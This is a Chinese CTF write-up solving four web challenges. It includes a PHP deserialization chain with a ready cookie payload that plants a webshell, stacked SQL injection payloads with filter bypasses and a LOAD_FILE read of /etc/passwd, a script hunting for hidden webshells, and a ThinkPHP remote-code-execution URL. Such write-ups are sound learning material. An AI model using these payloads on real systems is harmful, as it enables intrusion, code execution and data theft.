Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物!(当然还是 Crypto 爷爷啦
Upload
随便打开一个页面发现 cookie 存在序列化的样子
1 | a:5:{s:2:"ID";i:2;s:8:"username";s:4:"zedd";s:5:"email";s:11:"[email protected]";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";s:3:"img";N;} |
扫目录得到 www.tar.gz 压缩包,代码审计
在Profile.php发现关键代码:
1 | public function __get($name) |
被出烂的反序列化…这里肯定是利用__call函数去执行我们的命令了。然后在Register.php中看到有关键代码:
1 | public function __destruct() |
很明显了,这里我们用Register->checker = Profile,利用Profile->index()去触发Profile类中的__call魔术方法。
但是我们可以看到Profile.php当中的__call方法调用的参数是
1 | public function __call($name, $arguments) |
通过文档我们可以知道$name是不存在方法的调用的名字,在这里也就是index,$arguments就是传入调用方法的参数,这里就为空。
而当使用$this->index的时候,我们会触发另一个魔术方法__get
读取不可访问属性的值时,__get() 会被调用。
所以这里我们又因为if判断中调用了$this->{$name},而当$this->{$name}不存在的时候触发了__get,那我们再仔细看看__get方法
1 | public function __get($name) |
这里又调用了$this->except[$name],而$name我们可以通过__call调用的值确定为index,而且Profile类存在一个公有类except可以供我们修改。
接着利用_get的返回会使__call方法中的if为真,执行$this->{$this->{$name}}($arguments);
这里我大概简化了一下代码:
结果如下,这样这个构造链就比较清楚了。
既然有了构造链,那我们可以怎么做呢?在Profile类中我们还可以发现上传功能的方法有这样的代码:
1 | if(!empty($_FILES)){ |
如果我们不上传文件,就可以直接绕过第一个if判断,直接用赋值绕过第二个if判断,然后可以构造图片马绕过getimagesize的判断,控制$this->filename为 php webshell 形式,这样利用copy($this->filename_tmp, $this->filename)就可以让服务给我复制出了一个 php webshell 了。
好了基本构造攻击链接都基本设计好了。接下来就是怎么触发攻击链了,最开始的源头就是从Register类的__destruct方法开始的,所以我们需要找到一个可以反序列化Register的地方。
在Index.php中我们可以找到
1 | public function login_check(){ |
可以看到就是通过cookie进行传值进行反序列化操作。所以我们基本上所有的攻击就可以完成了。通过如下代码生成 cookie ,在首页替代 cookie 就行了,即使返回错误,也没关系,只要把文件copy了就行了
1 | class Index extends Controller |
得到 php websehll
1 | YToxOntzOjI6IklEIjtPOjI3OiJhcHBcd2ViXGNvbnRyb2xsZXJcUmVnaXN0ZXIiOjg6e3M6NzoiY2hlY2tlciI7TzoyNjoiYXBwXHdlYlxjb250cm9sbGVyXFByb2ZpbGUiOjEzOntzOjc6ImNoZWNrZXIiO2I6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6NzY6InVwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9mNzg0OTJmMDUxM2M2NTllNjlkYWIyZTQ3ZjU2NzIwMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTM6InVwbG9hZC9zaC5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtpOjE7czozOiJpbWciO047czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6NzoiACoAdmlldyI7TjtzOjEwOiIAKgByZXF1ZXN0IjtOO3M6MTY6IgAqAGZhaWxFeGNlcHRpb24iO2I6MDtzOjE2OiIAKgBiYXRjaFZhbGlkYXRlIjtiOjA7czoxOToiACoAYmVmb3JlQWN0aW9uTGlzdCI7YTowOnt9czoxMzoiACoAbWlkZGxld2FyZSI7YTowOnt9fXM6ODoicmVnaXN0ZWQiO047czo3OiIAKgB2aWV3IjtOO3M6MTA6IgAqAHJlcXVlc3QiO047czoxNjoiACoAZmFpbEV4Y2VwdGlvbiI7YjowO3M6MTY6IgAqAGJhdGNoVmFsaWRhdGUiO2I6MDtzOjE5OiIAKgBiZWZvcmVBY3Rpb25MaXN0IjthOjA6e31zOjEzOiIAKgBtaWRkbGV3YXJlIjthOjA6e319fQ%3D%3D |
连上去就可以cat /flag了
高明的黑客
拿到题目,有 www.tar.gz 附件,但是解压缩出来有很多 php 文件,打开仔细看都是经过混淆的。一开始没什么思路,然后随便仔细审了一个文件,发现都是假马
存在有
1 | echo `$_GET['xxx']`; |
但是触发条件都极其恶心,故意不让你触发,有类似
1 | if('xMpdxjdRB' == 'TgjMxZujP') |
这样或者这样
1 | $_GET['_5onXTD_C'] = ' '; |
反正就是一系列不让你直接拿到 webshell 的操作,感觉应该就是在混淆真的 webshell 了。
既然是混淆真的 webshell ,那我们是不是可以写个脚本制定一些规则遍历一下所有文件呢?例如利用编译原理 LL1 文法,去他么的编译原理,写个🔨的规则,反正要找最终的 webshell ,干脆先直接找所有的 $_GET 或者 $_POST 变量,直接暴力传参探测,看是否有 webshell 执行命令的回显就好了。
不过这好无聊哦…脚本如下…
1 | import os |
第一天还跑错文件位置了,导致自己跑了好几遍都没出来,开始怀疑自己…第二天清醒了以后,仔细看才发现原来文件位置写错了…然后才跑出来
你看这个文件是得有多可气啊!你看这个黑客是有多可气啊!
连上去cat /flag就拿到 flag 了
随便注
一个注入题… fuzz 了一下,发现回显过滤了
1 | return preg_match("/select|update|delete|drop|insert|where|\./i", $inject); |
但是讲道理,过滤了select,是无法通过常规操作注入去拿 flag 的,于是考虑是不是不需要拿数据库,就是单纯读文件什么的操作。
可以报错,尝试使用以下读文件,无果
1 | 1' and extractvalue(1, concat(0x7e, (LOAD_FILE('/etc/passwd')),0x7e)); |
这里神奇的事isnull,无论文件存不存在都返回了 0 …
搜索过滤的关键字,在红日代码审计那个找到类似的,用那个的思路尝试 HPP ,无果。
搜到 2018 SUCTF 中也有类似的关键字过滤,发现那道题可以通过类似以下的 payload 堆叠达到注入效果
1 | set @t=0x73656c65637420312c323b;prepare x from @t;execute x; |
但是尝试的时候发现过滤回显
1 | strstr($inject, "set") && strstr($inject, "prepare") |
想了好一会,突然发现这是个strstr函数呀!可以用大小写绕过!
但是题目可能哪里出了问题,好几次拿到 flag 字段内容都为空…我觉得没什么问题…尝试了好几个 payload ,也问了客服,客服说没问题…又随便试了几个终于出了…
1 | select * from supersqli.1919810931114514 |
Bonus
还可以有
1 | RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words; |
这种重命名的解法。
整个解法的意思就是把 words 这张表改成 words1 ,把存在 flag 的表 1919810931114514 改成 words,因为默认的 web 是从 words 表中查数据的,这样一改,就不需要我们去select另一张表了。所以接下来就是把 flag 的表的字段改成原来 words 表的字段就可以了。
最后可以通过1 or 1=1#这样的把所有的数据查出来了,这时候的 words 表就是 flag 存在的表了。
强网先锋-上单
打开发现可以列目录,在http://117.78.39.172:30280/1/runtime/log/201903/12.log我们可以发现有一段 log
1 | --------------------------------------------------------------- |
发现是 tp 的 rce log,直接拿去打http://117.78.39.172:30280/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
拿到 flag
Conclusion
Web 都比较难,质量都还是不错的。我觉得第一个题 upload 整个构造链还是需要一定技巧的,But 看到一些 wp 直接三言两语就带过了…啧啧…还是学到了一些知识的
再贴一几个我收集到的 wp 吧




